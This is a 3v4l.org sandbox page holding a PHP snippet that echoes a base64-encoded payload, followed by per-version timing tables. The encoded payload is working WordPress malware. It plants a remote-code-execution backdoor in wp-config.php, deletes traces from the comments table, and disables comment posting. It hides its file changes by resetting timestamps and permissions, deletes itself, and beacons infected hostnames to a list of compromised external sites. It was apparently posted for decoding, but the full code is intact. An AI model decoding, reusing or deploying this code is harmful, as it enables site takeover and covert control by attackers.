3v4l.org

run code in 500+ PHP versions simultaneously
<?php echo base64_decode('PD9waHAKCmZ1bmN0aW9uIFVub19lbmNvZGUoJFN0cmluZykKewogICAgJFNhbHQ9J2RjNXA5ZE9wQmMnOwogICAgJFN0ckxlbiA9IHN0cmxlbigkU3RyaW5nKTsKICAgICRTZXEgPSAnRE1FZjVIWnVQcSc7CiAgICAkR2FtbWEgPSAnJzsKICAgIHdoaWxlIChzdHJsZW4oJEdhbW1hKTwkU3RyTGVuKQogICAgewogICAgICAgICRTZXEgPSBwYWNrKCJIKiIsc2hhMSgkR2FtbWEuJFNlcS4kU2FsdCkpOwogICAgICAgICRHYW1tYS49c3Vic3RyKCRTZXEsMCw4KTsKICAgIH0KCiAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkU3RyaW5nXiRHYW1tYSk7Cn0KCmZ1bmN0aW9uIHJlcG9ydCgkcmNkKXsKJHJlY2l2ZXJzW10gPSAnaHR0cDovL2xpZ2h0aG91c2UtY2h1cmNoLmNvLnVrL3dwLWNvbnRlbnQvbGFuZ3VhZ2VzL2l0L2l0LnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly93d3cuYnVyZWF1dGFhbHZhc3Qubmwvd3AtY29udGVudC9nYWxsZXJ5L2hlYWRlci91L3BpYy5waHAnOwokcmVjaXZlcnNbXSA9ICdodHRwOi8vd2VzdGJ1cnlpbnRlcmlvcnMuY28udWsvd3AtY29udGVudC91cGxvYWRzLzIwMTQvMTEvaW1nLnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly9icmlzdHJhbmQuc2UvaGVtc2lkYS90bXAvaW1nLnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly90aGlja25lc3NwbGFuZXIub3JnL3dwLWNvbnRlbnQvcGx1Z2lucy9ha2lzbWV0L3UvcGlzLnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly90ZnBhY2syNC5pbmZvL3dwLWNvbnRlbnQvcGx1Z2lucy9hc2svaW5kZXgucGhwJzsKJHJlY2l2ZXJzW10gPSAnaHR0cDovL3BsYW5lbG9jYXRpb25zLmNvbS9leHRlbmRzdGF0cy91L2luLnBocCc7CiRyZWNpdmVyc1tdID0gJ2h0dHA6Ly9hY2Npb25lbnJlZGNhbmFyaWFzLmNvbS9pbmMvdC9pbmRleC5waHAnOwoKCgoKJHogPSBzdHJfcmVwbGFjZSgnd3AtY29udGVudC9wbHVnaW5zL2hlbGxvLnBocCcsJycsJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pOwokcmVwb3J0ID0gVW5vX2VuY29kZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0uICR6IC4gJ3wnIC4gJHJjZCk7CnNodWZmbGUoJHJlY2l2ZXJzKTsKZm9yZWFjaCgkcmVjaXZlcnMgYXMgJHQpewplY2hvICc8aW1nIHdpZHRoPTEgaGVpZ2h0PTEgc3JjPSInIC4kdCAuICc/ZGF0YT0nIC4kcmVwb3J0LiciPic7Cn0KfQoKZnVuY3Rpb24gcmVtb3ZlX2NvbW1lbnQoKXsKaW5jbHVkZV9vbmNlKCcuLi8uLi93cC1jb25maWcucGhwJyk7CgokY29uID0gbXlzcWxfY29ubmVjdChEQl9IT1NULERCX1VTRVIsREJfUEFTU1dPUkQpOwpteXNxbF9zZWxlY3RfZGIoREJfTkFNRSwgJGNvbik7CgokemFwcm9zID0gJ2RlbGV0ZSBmcm9tICcgLiAkdGFibGVfcHJlZml4IC4gJ2NvbW1lbnRzIHdoZXJlIGNvbW1lbnRfY29udGVudCBsaWtlIFwnJWF0b2IlXCc7JzsKJHIgPSBteXNxbF9xdWVyeSgkemFwcm9zKTsKbXlzcWxfY2xvc2UoJGNvbik7Cn0KCmZ1bmN0aW9uIHBhdGNoX3dwKCl7CiRmbmFtZSA9ICcuLi8uLi93cC1jb21tZW50cy1wb3N0LnBocCc7CmlmKGZpbGVfZXhpc3RzKCRmbmFtZSkpewokdCA9ICc8P3BocCBkaWUoKTsgPz4nIC4gUEhQX0VPTDsKCiR0aW1lID0gZmlsZW10aW1lKCRmbmFtZSk7CiR3cml0ID0gZmFsc2U7CgppZiAoIWlzX3dyaXRhYmxlKCRmbmFtZSkpewokcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZm5hbWUpKSwgLTQpOwpAY2htb2QoJGZuYW1lLDA2NjYpOwokd3JpdCA9IHRydWU7Cn0KCmNsZWFyc3RhdGNhY2hlKCk7CmlmIChpc193cml0YWJsZSgkZm5hbWUpKXsKJHRtcCA9IEBmaWxlX2dldF9jb250ZW50cygkZm5hbWUpOwokdG1wID0gJHQgLiAkdG1wOwp9CmlmIChzdHJsZW4oJHRtcCkgPiAxMCl7CgokZiA9IGZvcGVuKCRmbmFtZSwidyIpOwpmcHV0cygkZiwkdG1wKTsKZmNsb3NlKCRmKTsKfQoKY2xlYXJzdGF0Y2FjaGUoKTsKCmlmICgkd3JpdCl7CmZvcigkaT1zdHJsZW4oJHBlcm0pLTE7JGk+PTA7LS0kaSl7CiRwZXJtcyArPSAoaW50KSRwZXJtWyRpXSpwb3coOCwgKHN0cmxlbigkcGVybSktJGktMSkpOwp9CkBjaG1vZCgkZm5hbWUsJHBlcm1zKTsKfQoKQHRvdWNoKCRmbmFtZSwkdGltZSk7Cn0KfQoKZnVuY3Rpb24gc2VsZl9yZW1vdmUoKXsKJGZuYW1lID0gX19GSUxFX187CiR0aW1lID0gZmlsZW10aW1lKCRmbmFtZSk7CiR3cml0ID0gZmFsc2U7CgppZiAoIWlzX3dyaXRhYmxlKCRmbmFtZSkpewokcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZm5hbWUpKSwgLTQpOwpAY2htb2QoJGZuYW1lLDA2NjYpOwokd3JpdCA9IHRydWU7Cn0KCmNsZWFyc3RhdGNhY2hlKCk7CmlmIChpc193cml0YWJsZSgkZm5hbWUpKXsKJHRtcCA9IEBmaWxlX2dldF9jb250ZW50cygkZm5hbWUpOwoKJHBvcyA9IHN0cnBvcygkdG1wLCc0OWRlMzcxNTExYzFkZTNiJy4nZGUzNGIwMTA4ZWM3ZjEyOScpOwokdG1wID0gc3Vic3RyKCR0bXAsJHBvcyArIDMyKTsKCmlmIChzdHJsZW4oJHRtcCkgPiAxMCl7CgokZiA9IGZvcGVuKCRmbmFtZSwidyIpOwpmcHV0cygkZiwkdG1wKTsKZmNsb3NlKCRmKTsKfQoKY2xlYXJzdGF0Y2FjaGUoKTsKCmlmICgkd3JpdCl7CmZvcigkaT1zdHJsZW4oJHBlcm0pLTE7JGk+PTA7LS0kaSl7CiRwZXJtcyArPSAoaW50KSRwZXJtWyRpXSpwb3coOCwgKHN0cmxlbigkcGVybSktJGktMSkpOwp9CkBjaG1vZCgkZm5hbWUsJHBlcm1zKTsKfQoKQHRvdWNoKCRmbmFtZSwkdGltZSk7Cn0KfQoKJGZuYW1lID0gJy4uLy4uL3dwLWNvbmZpZy5waHAnOwoKaWYoZmlsZV9leGlzdHMoJGZuYW1lKSl7IAoKJHJjZCAgPSBtZDUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdLiRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXS5yYW5kKDAsMTAwMDApKTsKCiR0ID0gJ2lmIChpc3NldCgkX1JFUVVFU1RbXCdGSUxFXCddKSl7JF9GSUxFID0gJF9SRVFVRVNUW1wnJy4kcmNkLidcJ10oXCckX1wnLCRfUkVRVUVTVFtcJ0ZJTEVcJ10uXCcoJF8pO1wnKTsgJF9GSUxFKHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbXCdIT1NUXCddKSk7fSc7CgokdGltZSA9IGZpbGVtdGltZSgkZm5hbWUpOwokc2l6ZSA9IGZpbGVzaXplKCRmbmFtZSk7CiR3cml0ID0gZmFsc2U7CgppZiAoIWlzX3dyaXRhYmxlKCRmbmFtZSkpewokcGVybSA9IHN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZm5hbWUpKSwgLTQpOwpAY2htb2QoJGZuYW1lLDA2NjYpOwokd3JpdCA9IHRydWU7Cn0KCmNsZWFyc3RhdGNhY2hlKCk7CmlmIChpc193cml0YWJsZSgkZm5hbWUpKXsKJHRtcCA9IEBmaWxlX2dldF9jb250ZW50cygkZm5hbWUpOwoKJHRtcCA9IHN0cl9yZXBsYWNlKCckdGFibGVfcHJlZml4JywgJHQgLiBQSFBfRU9MIC4gJyR0YWJsZV9wcmVmaXgnLCAkdG1wKTsKaWYgKHN0cmxlbigkdG1wKSA+IDEwKXsKCiRmID0gZm9wZW4oJGZuYW1lLCJ3Iik7CmZwdXRzKCRmLCR0bXApOwpmY2xvc2UoJGYpOwp9CgpjbGVhcnN0YXRjYWNoZSgpOwoKaWYgKCR3cml0KXsKZm9yKCRpPXN0cmxlbigkcGVybSktMTskaT49MDstLSRpKXsKJHBlcm1zICs9IChpbnQpJHBlcm1bJGldKnBvdyg4LCAoc3RybGVuKCRwZXJtKS0kaS0xKSk7Cn0KQGNobW9kKCRmbmFtZSwkcGVybXMpOwp9CgpAdG91Y2goJGZuYW1lLCR0aW1lKTsKfQoKY2xlYXJzdGF0Y2FjaGUoKTsKaWYoJHNpemUgIT09IGZpbGVzaXplKCRmbmFtZSkpewpyZXBvcnQoJHJjZCk7Cn0KfQoKcmVtb3ZlX2NvbW1lbnQoKTsKcGF0Y2hfd3AoKTsKc2VsZl9yZW1vdmUoKTsKCj8+Ci8vNDlkZTM3MTUxMWMxZGUzYmRlMzRiMDEwOGVjN2YxMjk=');

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.70.0040.00318.45
8.5.60.0120.00516.71
8.5.50.0050.00216.45
8.5.30.0110.00617.39
8.5.20.0080.01016.45
8.5.10.0120.00520.18
8.5.00.0140.00719.59
8.4.220.0120.00821.46
8.4.210.0100.00719.54
8.4.180.0120.01120.54
8.4.170.0090.01320.40
8.4.160.0110.01120.58
8.4.150.0090.00416.81
8.4.140.0140.00717.33
8.4.130.0090.01318.65
8.4.120.0100.01018.58
8.4.110.0140.00720.44
8.4.100.0140.00617.38
8.4.90.0110.00820.59
8.4.80.0110.00820.52
8.4.70.0130.00918.82
8.4.60.0140.00820.29
8.4.50.0100.01118.60
8.4.40.0080.00017.58
8.4.30.0090.00617.73
8.4.20.0060.01317.57
8.4.10.0040.00417.61
8.3.310.0120.01018.23
8.3.300.0100.01319.16
8.3.290.0110.00920.75
8.3.280.0150.01018.11
8.3.270.0130.00616.64
8.3.260.0140.00516.61
8.3.250.0130.00516.65
8.3.240.0130.00616.72
8.3.230.0130.00616.41
8.3.220.0050.00420.85
8.3.210.0130.00516.49
8.3.200.0120.00116.67
8.3.190.0070.00819.09
8.3.180.0090.01018.91
8.3.170.0100.00717.13
8.3.160.0150.00318.29
8.3.150.0120.00416.50
8.3.140.0080.00816.58
8.3.130.0030.00516.46
8.3.120.0170.00018.88
8.3.110.0060.01020.94
8.3.100.0030.00616.41
8.3.90.0000.00826.77
8.3.80.0040.00818.43
8.3.70.0070.00718.18
8.3.60.0060.00918.43
8.3.50.0130.00821.92
8.3.40.0070.00718.67
8.3.30.0070.00718.95
8.3.20.0040.00420.19
8.3.10.0000.00821.60
8.3.00.0080.00019.20
8.2.300.0160.00820.25
8.2.290.0050.00617.20
8.2.280.0060.00218.19
8.2.270.0150.00316.49
8.2.260.0130.00317.14
8.2.250.0090.00616.55
8.2.240.0080.00018.71
8.2.230.0090.00922.58
8.2.220.0060.00324.06
8.2.210.0040.00426.77
8.2.200.0000.01116.75
8.2.190.0090.01218.41
8.2.180.0070.00725.92
8.2.170.0070.00722.96
8.2.160.0070.01320.11
8.2.150.0040.00424.18
8.2.140.0000.00824.66
8.2.130.0040.00426.16
8.2.120.0040.00422.21
8.2.110.0060.00321.00
8.2.100.0040.00817.91
8.2.90.0050.00317.91
8.2.80.0050.00517.97
8.2.70.0050.00317.63
8.2.60.0000.00918.04
8.2.50.0090.00018.10
8.2.40.0040.00419.33
8.2.30.0040.00419.25
8.2.20.0000.00917.61
8.2.10.0070.00017.94
8.2.00.0030.00617.56
8.1.340.0090.01221.75
8.1.330.0120.00615.82
8.1.320.0110.00815.93
8.1.310.0030.01016.72
8.1.300.0130.00316.16
8.1.290.0070.00330.84
8.1.280.0070.00725.92
8.1.270.0050.00318.82
8.1.260.0040.00426.35
8.1.250.0030.00628.09
8.1.240.0060.00323.84
8.1.230.0040.00722.68
8.1.220.0060.00617.74
8.1.210.0090.00018.77
8.1.200.0050.00317.23
8.1.190.0000.00817.10
8.1.180.0070.00418.10
8.1.170.0040.00418.77
8.1.160.0040.00418.77
8.1.150.0070.00018.82
8.1.140.0040.00417.33
8.1.130.0030.00317.82
8.1.120.0000.00717.24
8.1.110.0030.00417.22
8.1.100.0000.01017.38
8.1.90.0000.00717.37
8.1.80.0000.00717.25
8.1.70.0030.00317.25
8.1.60.0050.00317.41
8.1.50.0040.00417.42
8.1.40.0080.00417.41
8.1.30.0040.00417.38
8.1.20.0040.00417.46
8.1.10.0000.00817.52
8.1.00.0040.00417.30
8.0.300.0050.00219.96
8.0.290.0050.00216.63
8.0.280.0070.00018.26
8.0.270.0000.00717.20
8.0.260.0060.00017.25
8.0.250.0070.00016.91
8.0.240.0000.00716.94
8.0.230.0040.00416.86
8.0.220.0070.00016.66
8.0.210.0030.00316.80
8.0.200.0060.00016.84
8.0.190.0030.00616.89
8.0.180.0000.00816.77
8.0.170.0040.00416.81
8.0.160.0030.00316.80
8.0.150.0040.00416.84
8.0.140.0000.00816.70
8.0.130.0030.00313.24
8.0.120.0020.00516.67
8.0.110.0040.00416.84
8.0.100.0040.00416.63
8.0.90.0040.00416.73
8.0.80.0080.01016.73
8.0.70.0030.00616.71
8.0.60.0040.00416.74
8.0.50.0000.00716.79
8.0.30.0080.01116.96
8.0.20.0100.01117.40
8.0.10.0030.00516.90
8.0.00.0070.01216.75
7.4.330.0040.00015.03
7.4.320.0000.00716.38
7.4.300.0000.00616.44
7.4.290.0070.00016.38
7.4.280.0080.00016.51
7.4.270.0000.00716.49
7.4.260.0060.00316.49
7.4.250.0030.00316.43
7.4.240.0030.00316.46
7.4.230.0030.00316.59
7.4.220.0080.01916.48
7.4.210.0060.01116.58
7.4.200.0070.00016.36
7.4.160.0130.00316.23
7.4.150.0150.00917.40
7.4.140.0060.01217.86
7.4.130.0090.01116.29
7.4.120.0110.00816.55
7.4.110.0120.00616.40
7.4.100.0140.00416.43
7.4.90.0030.01416.32
7.4.80.0090.00919.39
7.4.70.0040.01416.37
7.4.60.0000.02116.31
7.4.50.0060.00316.05
7.4.40.0100.00716.37
7.4.30.0030.01316.43
7.4.00.0030.01015.08
7.3.330.0000.00512.93
7.3.320.0050.00012.84
7.3.310.0070.00016.26
7.3.300.0030.00316.11
7.3.290.0000.00716.13
7.3.280.0090.00616.20
7.3.270.0110.01117.40
7.3.260.0070.01316.07
7.3.250.0060.01416.33
7.3.240.0130.00316.21
7.3.230.0060.00916.50
7.3.210.0050.01116.44
7.3.200.0060.01216.45
7.3.190.0100.01016.12
7.3.180.0130.00316.32
7.3.170.0090.00916.27
7.3.160.0130.00316.24
7.2.330.0070.01116.53
7.2.320.0070.01616.59
7.2.310.0150.00616.55
7.2.300.0120.01216.64
7.2.290.0090.01216.39
7.2.00.0120.00319.24
7.1.200.0000.01115.33
7.1.100.0060.00617.92
7.1.70.0000.00717.04
7.1.60.0070.01519.57
7.1.50.0060.01016.71
7.1.00.0100.07022.48
7.0.200.0060.00916.41
7.0.140.0000.07022.07
7.0.60.0000.09719.85
7.0.50.0100.06017.79
7.0.40.0070.05320.26
7.0.30.0370.05320.13
7.0.20.0330.07020.16
7.0.10.0000.05020.32
7.0.00.0070.05020.17
5.6.280.0100.06721.09
5.6.210.0070.07320.53
5.6.200.0000.04318.14
5.6.190.0030.09020.27
5.6.180.0470.06720.48
5.6.170.0300.04720.45
5.6.160.0170.03320.41
5.6.150.0030.04718.25
5.6.140.0130.07718.16
5.6.130.0100.04018.17
5.6.120.0000.08021.12
5.6.110.0130.08320.98
5.6.100.0200.06020.89
5.6.90.0100.07720.97
5.6.80.0070.08020.51
5.5.350.0330.07720.39
5.5.340.0100.03717.98
5.5.330.0100.03720.21
5.5.320.0330.07720.31
5.5.310.0170.05020.13
5.5.300.0070.03717.90
5.5.290.0070.03717.94
5.5.280.0070.05320.96
5.5.270.0070.08320.75
5.5.260.0100.05320.84
5.5.250.0100.03320.56
5.5.240.0130.05720.29
5.4.450.0230.05319.41
5.4.440.0470.05319.41
5.4.430.0470.04719.54
5.4.420.0500.03319.36
5.4.410.0600.05019.08
5.4.400.0500.05718.92
5.4.390.0530.06318.83
5.4.380.0470.03318.78
5.4.370.0470.03719.09
5.4.360.0470.03319.25
5.4.350.0530.04319.25
5.4.340.0530.06719.16
5.4.320.0570.06319.10
5.4.310.0600.06319.23
5.4.300.0500.07019.24
5.4.290.0630.06018.80
5.4.280.0470.03719.09
5.4.270.0430.03719.09
5.4.260.0400.04019.15
5.4.250.0530.07018.91
5.4.240.0330.06018.78
5.4.230.0470.06019.24
5.4.220.0400.03719.08
5.4.210.0370.05318.87
5.4.200.0570.06319.09
5.4.190.0430.05019.13
5.4.180.0430.04019.23
5.4.170.0370.04319.23
5.4.160.0500.04019.05
5.4.150.0530.04719.06
5.4.140.0500.03716.16
5.4.130.0500.04316.23
5.4.120.0430.04016.63
5.4.110.0570.05316.52
5.4.100.0430.04316.39
5.4.90.0570.04716.21
5.4.80.0430.03716.42
5.4.70.0530.02716.20
5.4.60.0500.06316.52
5.4.50.0600.05016.03
5.4.40.0470.05716.04
5.4.30.0400.03716.20
5.4.20.0470.03316.17
5.4.10.0530.04016.36
5.4.00.0430.03715.81
5.3.290.0570.03014.76
5.3.280.0400.05714.57
5.3.270.0530.03314.52
5.3.260.0430.05714.64
5.3.250.0500.07014.40
5.3.240.0570.06714.59
5.3.230.0470.07014.46
5.3.220.0500.03014.45
5.3.210.0530.05014.53
5.3.200.0470.07014.55
5.3.190.0570.06014.53
5.3.180.0430.05314.50
5.3.170.0470.07014.60
5.3.160.0430.05314.66
5.3.150.0570.05714.45
5.3.140.0470.05714.54
5.3.130.0600.04014.52
5.3.120.0500.07014.60
5.3.110.0430.03714.60
5.3.100.0430.04713.99
5.3.90.0470.05014.01
5.3.80.0530.06014.12
5.3.70.0570.06014.11
5.3.60.0670.05313.79
5.3.50.0600.05013.90
5.3.40.0500.06713.83
5.3.30.0470.03713.75
5.3.20.0530.03713.72
5.3.10.0530.05313.75
5.3.00.0530.05713.49
5.2.170.0430.05312.98
5.2.160.0470.05012.98
5.2.150.0430.04312.98
5.2.140.0370.03312.98
5.2.130.0470.07012.98
5.2.120.0470.03312.98
5.2.110.0330.03312.98
5.2.100.0530.04012.98
5.2.90.0400.04012.98
5.2.80.0430.04712.98
5.2.70.0400.04012.98
5.2.60.0370.02712.98
5.2.50.0430.05312.98
5.2.40.0370.05012.98
5.2.30.0370.03712.98
5.2.20.0370.03712.98
5.2.10.0330.02712.98
5.2.00.0270.03012.98
5.1.60.0270.02712.98
5.1.50.0430.04012.98
5.1.40.0430.03712.98
5.1.30.0330.03312.98
5.1.20.0370.05312.98
5.1.10.0330.03712.98
5.1.00.0300.04012.98
5.0.50.0170.02012.98
5.0.40.0200.02312.98
5.0.30.0230.05012.98
5.0.20.0170.03712.98
5.0.10.0270.03312.98
5.0.00.0230.04312.98
4.4.90.0200.01312.98
4.4.80.0170.03312.98
4.4.70.0130.02012.98
4.4.60.0170.03712.98
4.4.50.0230.01712.98
4.4.40.0130.02712.98
4.4.30.0170.03312.98
4.4.20.0170.02312.98
4.4.10.0170.02712.98
4.4.00.0200.02712.98
4.3.110.0230.02312.98
4.3.100.0170.02712.98
4.3.90.0230.02312.98
4.3.80.0130.05012.98
4.3.70.0130.01712.98
4.3.60.0170.01712.98
4.3.50.0170.01312.98
4.3.40.0170.03012.98
4.3.30.0100.03012.98
4.3.20.0100.03012.98
4.3.10.0070.02712.98
4.3.00.0130.02712.98

preferences:
75.78 ms | 3536 KiB | 5 Q